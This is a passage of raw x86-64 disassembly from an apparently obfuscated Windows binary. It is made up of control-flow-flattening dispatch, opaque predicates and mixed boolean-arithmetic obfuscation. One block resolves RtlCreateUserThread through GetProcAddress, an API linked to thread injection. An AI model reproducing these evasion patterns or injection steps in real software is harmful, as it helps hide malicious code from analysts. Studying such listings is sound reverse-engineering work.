xor ecx, ebp
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, ecx
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0xa754b703
and eax, 0x58ab48fc
or eax, ebx
or ecx, ebp
and ebp, 0xa754b703
and edx, 0x58ab48fc
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
setne r9b
sete al
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg dl
mov r8d, edx
and r8b, al
or al, dl
mov ebx, r9d
and bl, cl
or cl, r9b
mov r10d, ecx
xor r10b, al
or cl, al
xor cl, 1
or cl, r10b
or bl, r8b
mov eax, edx
xor al, r9b
or dl, r9b
xor dl, 1
or dl, al
xor bl, 1
mov eax, ebx
xor al, dl
or bl, dl
xor bl, 1
or bl, al
mov edx, ebx
xor dl, 1
mov eax, ebx
and al, dl
mov r8d, ebx
xor r8b, al
xor al, 1
or al, dl
xor al, 1
or al, r8b
mov edx, eax
and dl, cl
xor cl, 1
xor al, 1
and al, cl
or al, dl
mov edx, ecx
and dl, bl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xe7ce6c6
mov ebp, 0x600e2e19
cmovne edx, ebp
test cl, 1
mov ecx, 0xe7ce6c6
jmp 0x14015cd4c
cmp ecx, 0xd0db1225
jg 0x140152c2f
cmp ecx, 0xcfe08333
jg 0x1401549e3
cmp ecx, 0xcd7c1dff
je 0x140158015
cmp ecx, 0xce081a3d
jne 0x14014f740
mov ecx, 0xb95f355d
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x9ca3ce0
jg 0x140152c69
cmp ecx, 0x589eab8
jg 0x140154b28
cmp ecx, 0x5215ff5
je 0x1401581cf
cmp ecx, 0x551ae98
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
mov ebx, edx
and ebx, 0xfffffffe
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, ebp
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
mov edi, ecx
and edi, 0x96f1dff1
and ebx, 0x690e200e
or ebx, edi
or ecx, ebp
and ebp, 0x96f1dff1
and edx, 0x690e200e
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x321f8191
and ecx, 0xcde07e6e
or ecx, edx
xor ecx, 0xcde07e6e
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
xor bl, 1
or bl, al
xor al, cl
mov edx, ebx
or dl, al
xor al, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0xfc742aee
mov ecx, 0x83e565c2
cmovne ebp, ecx
test al, al
mov ecx, ebp
mov eax, 0xfc742aee
cmovne ecx, eax
jmp 0x1401566b3
cmp ecx, 0x453eeead
jg 0x140152da3
cmp ecx, 0x444c8057
jg 0x140154ccc
cmp ecx, 0x43bb5eff
je 0x1401581e5
cmp ecx, 0x43ce004a
jne 0x14014f740
mov ecx, 0xdd53f580
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0xeca0bc20
jg 0x140152ee5
cmp ecx, 0xe9badbdd
jg 0x140154e38
cmp ecx, 0xe7502fee
je 0x140158333
cmp ecx, 0xe79b3b0e
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
or ebx, 0x322b7c33
mov ecx, ebx
not ecx
or edx, 0xc45081c0
and edx, 0xe65281d0
and ebp, 0x10297c23
or ebp, edx
and ebx, 0xe65281d0
and ecx, 0x984020c
or ecx, ebx
xor ecx, ebp
mov edx, ecx
not edx
and edx, 0xe00aa4e3
and ecx, 0x1ff55b1c
or ecx, edx
mov ebp, ecx
xor ebp, 0x2dde272f
mov edx, ecx
xor edx, 0x2dde272e
and edx, ebp
xor ecx, 0xd0204850
and ecx, 0xd82c6d55
and ebp, 0x27d392aa
or ebp, ecx
mov ebx, ebp
xor ebx, 0x7d31003
mov ecx, edx
not ecx
xor ebp, 0xd82c6d54
mov edi, ecx
and edi, 0x3008c2fc
and edx, 0xcff73d03
or edx, edi
or ecx, ebp
and ebp, 0x3008c2fc
and ebx, 0xcff73d03
or ebx, ebp
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x8a0397bb
and ecx, 0x75fc6844
or ecx, edx
mov edx, ecx
xor edx, 0x74642044
xor ecx, 0x20201b1
and ecx, 0x39a49b1
and edx, 0xfc65b64e
or edx, ecx
xor edx, 0x39a49b1
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
and cl, dl
and dl, r8b
xor al, r8b
or al, dl
and bl, r8b
or cl, bl
mov edx, ecx
and cl, al
xor al, 1
xor dl, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov eax, edx
xor al, bl
test dl, dl
mov ecx, 0x206dcb7e
mov edx, 0x8038098e
cmovne ecx, edx
test bl, bl
mov ebp, 0x206dcb7e
jmp 0x14015b651
cmp ecx, 0x2c55100a
jg 0x140153021
cmp ecx, 0x28a7bbef
jg 0x140154fce
cmp ecx, 0x27d7b814
je 0x140158349
cmp ecx, 0x28746eab
jne 0x14014f740
mov rcx, qword [0x140265040]
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x6e1ea29a
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x6c99451e
jg 0x14015305b
cmp ecx, 0x6a0d1874
jg 0x140154ffc
cmp ecx, 0x654e452c
je 0x14015840e
cmp ecx, 0x6935496b
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0x128272ca
mov ebp, ebx
xor ebp, 0x128272ca
and ebp, ebx
mov edi, ecx
and edi, ebp
xor ebp, ecx
or ebp, edi
mov ecx, ebp
not ecx
and ecx, 0xfa06c7e9
and ebp, 0x5f93816
or ebp, ecx
mov ecx, ebp
xor ecx, 0x143025c
xor ebp, 0xe8043420
and ebp, 0xfe3c7ca1
and ecx, 0x1c3835e
or ecx, ebp
mov ebp, ecx
xor ebp, 0x418212
xor ecx, 0xfe3c7ca1
mov edi, ecx
and edi, 0xd9671cd
and ebp, 0xf2698e32
or ebp, edi
or ecx, ebx
and ebx, 0xd9671cd
and edx, 0xf2698e32
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xd4e68413
and ecx, 0x2b197bec
or ecx, edx
xor ecx, 0x2b197bec
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg r8b
mov eax, r8d
xor al, dl
and al, r8b
and bl, cl
and r8b, dl
or r8b, bl
mov ebx, eax
xor bl, 1
mov edx, r8d
xor dl, 1
xor al, r8b
or bl, dl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, ebx
xor al, 1
and dl, r8b
mov ecx, ebx
and cl, al
mov r9d, edx
and r9b, r8b
xor dl, r8b
or dl, r9b
xor cl, 1
mov r9d, ecx
xor r9b, al
or cl, al
xor cl, 1
or cl, r9b
mov eax, edx
xor al, 1
and al, cl
xor cl, 1
and cl, dl
or cl, al
mov eax, r8d
xor al, bl
or bl, r8b
xor bl, 1
or bl, al
mov eax, ebx
xor al, cl
test bl, 1
mov edx, 0x28b83904
mov ebp, 0x220af418
cmovne edx, ebp
test cl, 1
cmove edx, ebp
not al
test al, 1
mov eax, 0x28b83904
jmp 0x1401539d3
cmp ecx, 0xc9ea303f
jg 0x1401531b6
cmp ecx, 0xc602141d
jg 0x1401550f6
cmp ecx, 0xc52fd198
je 0x1401585ae
cmp ecx, 0xc55edd58
jne 0x14014f740
mov r8, qword [rsp + 0x38]
mov edx, dword [0x1402656d8]
mov ecx, dword [0x1402656d4]
lea ebx, [rdx - 1]
imul ebx, edx
mov ebp, ebx
mov edx, ebx
xor edx, 0x91c5c2cb
and edx, ebx
not ebx
and ebx, 0x800a
and ebp, 0x91c542c1
or ebp, ebx
xor ebp, 0x91c542c1
mov ebx, ebp
and ebx, edx
xor edx, ebp
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0x2705a969
and edx, 0xd8fa5696
or edx, ebp
mov edi, edx
xor edi, 0x493f945d
mov ebx, edx
xor ebx, 0xb6c06ba2
mov ebp, edi
or ebp, 0xf4b52214
mov esi, ebp
not esi
xor edx, 0x427549b6
and edx, edi
mov eax, ebp
and eax, 0xb765b67
and esi, 0x88488
or esi, eax
mov eax, edx
not eax
or ebp, eax
and eax, 0xb765b67
and edx, 0xf489a498
or edx, eax
xor edx, esi
not ebp
or ebp, edx
mov eax, ebp
not eax
and eax, 0xd6fc4c71
and ebp, 0x2903b38e
or ebp, eax
xor ebp, 0x22496e64
and edi, 0xb295a6c9
mov eax, ebx
and eax, 0x4d6a5936
or eax, edi
xor eax, 0xb295a6c8
and ebx, 1
or ebx, eax
mov eax, ebx
not eax
and eax, 0x62a8bd8b
and ebx, 0x9d574274
or ebx, eax
xor ebx, 0x9d574274
mov eax, ebp
and eax, ebx
xor ebx, ebp
or ebx, eax
mov eax, ebx
not eax
and eax, 0xe002096
mov edx, ebx
and edx, 0x1a20200
or edx, eax
xor edx, 0x1a20200
and ebx, 0xf05ddd69
or ebx, edx
mov eax, ebx
not eax
and eax, 0x21155e08
and ebx, 0xdeeaa1f7
or ebx, eax
xor ebx, 0xd1488361
sete r9b
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
mov eax, ecx
xor al, dl
and dl, bl
or bl, r9b
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and cl, r9b
or cl, dl
xor cl, 1
mov edx, ebx
and dl, al
mov r9d, ebx
xor r9b, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, r9b
xor dl, cl
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xfe6b26f0
mov ebp, 0xa6342350
cmovne eax, ebp
test cl, cl
mov ecx, 0xfe6b26f0
cmovne ecx, eax
mov qword [0x1402650b0], r8
jmp 0x14015cf0b
cmp ecx, 0x3a7fae5
jg 0x1401533a6
cmp ecx, 0x104a411
jg 0x14015523b
cmp ecx, 0xfd80e646
je 0x1401586b3
cmp ecx, 0xfe6b26f0
jne 0x14014f740
mov ecx, 0x3e6a60e5
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x3e6a60e4
jg 0x1401533e0
cmp ecx, 0x3dc709b5
jg 0x140155269
cmp ecx, 0x3b637a28
je 0x14015879d
cmp ecx, 0x3d4297cc
jne 0x14014f740
mov eax, dword [0x1402656d8]
lea ecx, [rax - 1]
imul ecx, eax
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xfffffffe
mov eax, ecx
xor eax, 0xfffffffe
and eax, ecx
mov ebx, edx
and ebx, eax
xor eax, edx
or eax, ebx
mov edx, eax
not edx
and edx, 0x3c578a96
and eax, 0xc3a87569
or eax, edx
xor eax, 0xc3a87569
and ebp, 0x95589d8
and ecx, 0xf6aa7627
or ecx, ebp
xor ecx, 0xf6aa7627
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
cmp ecx, 0xffffffff
sete bl
setne cl
cmp dword [0x1402656d4], 0xa
setl r8b
xor cl, r8b
xor cl, 1
mov r9d, r8d
or r9b, bl
xor r9b, 1
or r9b, cl
mov ecx, r9d
xor cl, 1
mov edx, ebx
xor dl, r8b
and bl, dl
and dl, r8b
xor bl, 1
xor dl, 1
mov r8d, ebx
xor r8b, dl
or dl, bl
xor dl, 1
or dl, r8b
mov eax, edx
xor al, 1
and cl, r9b
mov ebx, eax
and bl, dl
mov r8d, r9d
and r8b, cl
xor cl, r9b
or cl, r8b
xor bl, 1
mov r8d, edx
xor r8b, bl
or bl, dl
xor bl, 1
or bl, r8b
mov edx, ecx
xor dl, 1
and dl, bl
xor bl, 1
and bl, cl
or bl, dl
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov ecx, eax
xor cl, bl
test al, 1
mov eax, 0x6aa0c3c2
mov edx, 0x64ae9c1f
cmovne eax, edx
test bl, 1
mov r13d, 0x64ae9c1f
cmove eax, edx
test cl, 1
mov ecx, 0x6aa0c3c2
jmp 0x14014f72e
cmp ecx, 0xe4c9b312
jg 0x1401534cd
cmp ecx, 0xe4aea13e
jg 0x140155363
cmp ecx, 0xe35d563a
je 0x140158902
cmp ecx, 0xe490bb34
jne 0x14014f740
mov eax, dword [0x1402656d8]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov edx, eax
and edx, 0xdb14cbf
mov ecx, ebx
and ecx, 0xf24eb340
or ecx, edx
mov edx, ecx
xor edx, 0x900c3040
xor ecx, 0x9b14c84
mov ebp, ebx
or ebp, 0x6bf3cf84
and ecx, 0x6bf3cf84
and edx, 0x940c307a
or edx, ecx
and ebp, 0x6bf3cf85
xor ebp, edx
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0x15cc2e1e
and ebp, 0xea33d1e1
or ebp, edx
and ebx, 0x15cc2e1e
and eax, 0xea33d1e1
or eax, ebx
xor eax, ebp
not eax
or eax, ecx
cmp eax, 0xffffffff
setne al
sete cl
cmp dword [0x1402656d4], 0xa
setl bl
mov edx, ebx
or dl, cl
xor dl, 1
xor cl, bl
or dl, cl
mov r8d, edx
xor r8b, 1
or al, bl
xor al, 1
and cl, bl
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
and cl, dl
or dl, al
and al, r8b
or al, cl
mov ebx, edx
xor bl, al
test al, 1
mov ecx, 0x528aa7f1
mov eax, 0x9ca3ce1
cmovne ecx, eax
test dl, 1
mov edx, 0x528aa7f1
cmovne ecx, edx
jmp 0x14015cbcb
cmp ecx, 0x220af417
jg 0x1401535fc
cmp ecx, 0x206dcb7d
jg 0x140155543
cmp ecx, 0x1e3e196e
je 0x140158918
cmp ecx, 0x1f31ab2b
jne 0x14014f740
mov ecx, 0x1b12f5f6
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x600e2e18
jg 0x14015372f
cmp ecx, 0x5caa7521
jg 0x140155571
cmp ecx, 0x5a4fdc1a
je 0x140158a1b
cmp ecx, 0x5b62cd8d
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0x67f06bf7
and edx, 0x980f9408
or edx, ebp
mov ecx, edx
xor ecx, 0x67f06bf7
mov ebp, edx
xor ebp, 0xb1400
and ebp, 0x53b1e42
xor edx, 0x1a61f1dd
and edx, ecx
and ecx, 0xfac4e1bd
or ecx, ebp
mov ebp, ecx
xor ebp, 0xfac4e1bd
mov ebx, ecx
xor ebx, 0x78aa8468
and ebx, ebp
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x233167fb
and edx, 0xdcce9804
or edx, ebx
xor edx, 0xa15f022f
and ebp, 1
xor ecx, 0xfac4e1bc
or ecx, ebp
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0x8954f964
and ebp, ecx
or ecx, 0x76ab069b
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0xccdd160c
and edx, 0x100e960
or edx, edi
or ecx, ebx
and ebx, 0xccdd160c
and ebp, 0x3322e9f3
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x76ab069b
and ecx, 0x8954f964
or ecx, edx
mov edx, ecx
not edx
and edx, 0xc090b152
and ecx, 0x3f6f4ead
or ecx, edx
mov edx, ecx
xor edx, 0x1e074c80
xor ecx, 0x40008040
and ecx, 0x6168826d
and edx, 0x9e977d92
or edx, ecx
mov ecx, edx
xor ecx, 0x40488004
xor edx, 0x9c116910
and edx, 0xbd316b79
and ecx, 0x42ce9486
or ecx, edx
xor ecx, 0x42ce9486
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, ecx
and dl, al
or cl, bl
and bl, r8b
or bl, dl
xor bl, 1
or bl, al
or al, r8b
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x403f504c
mov ebp, 0x2fba6ff6
cmovne eax, ebp
test cl, 1
jmp 0x14015b235
cmp ecx, 0x9d931e51
jle 0x14015376e
cmp ecx, 0xa2c40b04
jg 0x1401555ab
cmp ecx, 0x9d931e52
je 0x140158b71
cmp ecx, 0xa00b7930
jne 0x14014f740
mov eax, dword [0x1402656d8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x17009080
mov edx, ecx
and edx, 0x88024765
or edx, eax
xor edx, 0x88024765
and ecx, 0x60fd281a
or ecx, edx
mov eax, ecx
not eax
and eax, 0x60fd281a
and ecx, 0x9f02d7e5
or ecx, eax
mov ebp, ecx
mov edx, ecx
xor edx, 0x53de3e64
and edx, ecx
not ecx
and ecx, 0x84914a64
and ebp, 0x7b6eb59b
or ebp, ecx
mov eax, ebp
xor eax, 0x7b6eb59b
mov ecx, eax
and ecx, 0x53de3e64
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xac21c19a
and edx, 0x53de3e65
or edx, ecx
and eax, 1
xor ebp, 0x7b6eb59a
or ebp, eax
mov eax, ebp
not eax
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0xf7d4d101
and edx, 0x82b2efe
or edx, ebx
or ecx, ebp
and ebp, 0xf7d4d101
and eax, 0x82b2efe
or eax, ebp
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xc73ca255
and ecx, 0x38c35daa
or ecx, eax
mov eax, ecx
not eax
and eax, 0xccb43b65
and ecx, 0x334bc49a
or ecx, eax
mov eax, ecx
xor eax, 0xd0536445
xor ecx, 0x8801030
and ecx, 0x2ca412ba
and eax, 0xd35bed45
or eax, ecx
mov ecx, eax
xor ecx, 0xc20ba004
xor eax, 0x24009a
and eax, 0x11744ddb
and ecx, 0xee8bb224
or ecx, eax
xor ecx, 0x11744ddb
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402656d4], 9
setg cl
xor al, cl
xor cl, al
and cl, al
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
mov r8d, edx
and r8b, bl
xor dl, bl
or dl, r8b
xor dl, cl
xor cl, 1
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xb52e5ffb
mov ebp, 0x9bc9803d
cmovne ecx, ebp
test dl, dl
cmove ecx, ebp
not al
test al, 1
mov eax, 0xb52e5ffb
jmp 0x14015d285
cmp ecx, 0xb615a69f
jle 0x1401537a8
cmp ecx, 0xb6eb078b
jg 0x1401556c7
cmp ecx, 0xb615a6a0
je 0x140158c8c
cmp ecx, 0xb671ddf8
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edi, ecx
not edi
mov ebx, ecx
or ebx, 1
mov ebp, ebx
not ebp
mov edx, edi
or edx, 0x61794cbc
and ebx, 0x61794cbd
and ebp, 0x9e86b342
or ebp, ebx
and edx, 0x61794cbd
xor edx, ebp
not edx
and edi, 0x62480b1
and ecx, 0xf9db7f4e
or ecx, edi
xor ecx, 0xf9db7f4e
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x65d9c50b
and ecx, 0x9a263af4
or ecx, edx
xor ecx, 0x9a263af4
sete dl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
xor r8b, al
mov ecx, edx
xor cl, bl
or bl, dl
xor bl, 1
or bl, r8b
xor bl, 1
and cl, dl
or al, dl
mov edx, eax
xor dl, cl
xor cl, 1
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
xor cl, bl
mov eax, ecx
not al
and al, bl
mov edx, eax
xor dl, cl
test cl, 1
mov ecx, 0x2cc469a5
mov ebp, 0x83613bf8
cmovne ecx, ebp
test al, al
mov eax, 0x2cc469a5
cmove ecx, eax
test dl, 1
jmp 0x14015d383
cmp ecx, 0xdb335f1b
jg 0x1401556f5
cmp ecx, 0xd979f1cc
je 0x140158e4b
cmp ecx, 0xda30ecc1
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov r8d, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
xor edx, 0x2fe39be4
and edx, ebp
not ebp
and ebp, 0x2fe39be4
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xd01c641b
and edx, 0x2fe39be4
or edx, ecx
mov esi, edx
not esi
mov ebx, edx
xor ebx, 0xffca921c
and ebx, esi
mov edi, esi
or edi, 0xffca921c
mov ebp, edi
not ebp
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0xd23b0e3e
and ebx, 0x2dc4f1c1
or ebx, eax
or ecx, edi
and edi, 0xd23b0e3e
and ebp, 0x461c1
or ebp, edi
xor ebp, ebx
not ecx
or ecx, ebp
mov eax, ecx
not eax
and eax, 0x72d934e8
and ecx, 0x8d26cb17
or ecx, eax
mov ebx, ecx
xor ebx, 0x20e05808
and edx, 0x3dc10ded
mov eax, esi
and eax, 0xc23ef212
or eax, edx
xor eax, 0x3dc10dec
and esi, 1
or esi, eax
mov eax, esi
not eax
xor ecx, 0x8d13a6f5
mov edx, ecx
and edx, 0x5e1d05c3
and ebx, 0xa1e2fa3c
or ebx, edx
or ecx, esi
and esi, 0x5e1d05c3
and eax, 0xa1e2fa3c
or eax, esi
xor eax, ebx
not ecx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xc2adc61
and eax, 0xf3d5239e
or eax, ecx
mov ecx, eax
xor ecx, 0x28c401
xor eax, 0x40001e
and ecx, 0xf3bde781
and eax, 0xc42187e
or eax, ecx
xor eax, 0xf3bde781
cmp eax, 0xffffffff
sete r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg r8b
mov eax, r8d
xor al, dl
and al, r8b
mov ecx, eax
not cl
and cl, al
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov ebx, r9d
mov eax, r8d
xor al, r9b
xor dl, r9b
or r9b, cl
xor r9b, 1
xor bl, cl
not bl
and bl, cl
mov ecx, r9d
and cl, bl
xor bl, r9b
or bl, cl
and al, r8b
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov ecx, edx
xor cl, 1
mov eax, ebx
xor al, 1
and al, bl
and dl, cl
mov r8d, eax
and r8b, bl
xor al, bl
or al, r8b
mov r8d, edx
and r8b, cl
xor dl, cl
or dl, r8b
xor dl, al
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xb95f355d
mov ebp, 0xce081a3d
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0xb95f355d
jmp 0x14015cf0e
cmp ecx, 0xdeefdba
jg 0x140155806
cmp ecx, 0xd702cfd
je 0x140159079
cmp ecx, 0xdee7fc3
jne 0x14014f740
mov ecx, 0xd786d91a
cmp ecx, 0xf802c667
jg 0x14014f7c0
jmp 0x14014f748
cmp ecx, 0x494e4497
jg 0x14015591f
cmp ecx, 0x4859be9d
je 0x140159199
cmp ecx, 0x49345b9a
jne 0x14014f740
mov eax, dword [0x1402656d8]
mov ecx, dword [0x1402656d4]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0xfffffffe
and edx, 0xa67d937d
and eax, 0x59826c82
or eax, edx
xor eax, 0x59826c83
mov edx, ebp
and edx, eax
xor eax, ebp
or eax, edx
mov edx, eax
not edx
mov ebp, eax
and ebp, 0x8b4ae469
and edx, 0x74b51b96
or edx, ebp
xor edx, 0x74b51b96
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne r9b
cmp ecx, 9
setg r11b
cmp ecx, 0xa
setl cl
mov ebx, r9d
or bl, cl
mov eax, r11d
or al, r8b
mov r10d, ebx
xor r10b, al
or al, bl
xor al, 1
or al, r10b
and r9b, cl
or cl, r8b
xor cl, 1
and r11b, r8b
or r11b, r9b
mov ebx, ecx
and bl, r11b
xor r11b, cl
or r11b, bl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
mov ebx, edx
xor bl, 1
xor dl, al
or bl, cl
xor bl, 1
or bl, dl
xor bl, r11b
mov eax, ecx
and al, r11b
xor cl, r11b
or cl, al
mov eax, ebx
xor al, cl
not al
test al, 1
mov eax, 0xf720dbce
mov edx, 0xe35d563a
cmovne eax, edx
test cl, 1
mov ecx, 0xf720dbce
cmovne ecx, eax
jmp 0x14015639d
cmp ecx, 0x8159bbf9
jg 0x14015594d
cmp ecx, 0x8038098e
je 0x140159326
cmp ecx, 0x804f07a4
jne 0x14014f740
mov edx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0xe0306c87
and ecx, 0x1fcf9378
or ecx, edx
mov ebp, ecx
xor ebp, 0xe0306c87
mov edx, ebp
or edx, 1
mov ebx, edx
not ebx
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, ecx
not ebp
mov edi, edx
and edi, 0x44a0caa8
and ebx, 0xbb5f3556
or ebx, edi
or edx, ebp
and ebp, 0x44a0caa8
and ecx, 0xbb5f3557
or ecx, ebp
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x2a651fb5
and edx, 0xd59ae04a
or edx, ecx
xor edx, 0xd59ae04a
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor al, dl
mov edx, eax
xor dl, bl
and dl, al
mov eax, ebx
xor al, cl
not al
and al, cl
or bl, cl
mov ecx, ebx
xor cl, al
xor al, 1
xor cl, 1
or al, bl
xor al, 1
or al, cl
mov ecx, edx
xor cl, 1
xor dl, al
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0xb615a6a0
mov ecx, 0xdca5761e
cmovne ebp, ecx
test dl, 1
mov ecx, ebp
mov edx, 0xb615a6a0
jmp 0x14015d179
cmp ecx, 0xefc170b3
jg 0x14015597b
cmp ecx, 0xef308f34
je 0x140159416
cmp ecx, 0xefa19f9e
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x7efc6f0f
mov ecx, ebp
and ecx, 0x810390f0
or ecx, edx
mov edx, ecx
not edx
and edx, 0xfa3e5bed
and ecx, 0x5c1a412
or ecx, edx
mov edx, ecx
xor edx, 0x7b3dcb1c
xor ecx, 0xc214a3
and ebx, 0xd4ba09ea
and ebp, 0x2b45f615
or ebp, ebx
mov ebx, ebp
xor ebx, 0x29405405
xor ebp, 0xd4ba09ea
mov edi, edx
and edi, 0x861daa50
and ecx, 0x79e255af
or ecx, edi
or edx, ebp
and ebp, 0x861daa50
and ebx, 0x79e255af
or ebx, ebp
xor ebx, ecx
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x154712e6
and edx, 0xeab8ed19
or edx, ecx
xor edx, 0xeab8ed19
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
xor al, cl
mov ecx, eax
xor cl, 1
mov r8d, ecx
mov ebx, edx
or cl, dl
xor dl, 1
and r8b, dl
and bl, al
or bl, r8b
xor dl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0x1b12f5f6
mov edx, 0x1f31ab2b
cmovne ecx, edx
test bl, bl
cmove ecx, edx
not al
test al, 1
mov eax, 0x1b12f5f6
jmp 0x14015d285
cmp ecx, 0x2fba6ff5
jg 0x140155a9a
cmp ecx, 0x2e93662a
je 0x140159500
cmp ecx, 0x2f20639c
jne 0x14014f740
mov ecx, dword [0x1402656d8]
mov eax, dword [0x1402656d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0x8f323603
and ecx, ebp
not ebp
and ebp, 0x5200000
and edx, 0x8a123603
or edx, ebp
xor edx, 0x8a123603
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x102103b3
and ecx, 0xefdefc4c
or ecx, edx
mov ebp, ecx
xor ebp, 0x60ecca4f
mov edx, ecx
xor edx, 0x5101400
and edx, 0x25381c0f
xor ecx, 0x4f278c80
and ecx, ebp
and ebp, 0xdac7e3f0
or ebp, edx
mov edx, ebp
xor edx, 0x2508040f
or edx, 0xd034b930
mov ebx, edx
not ebx
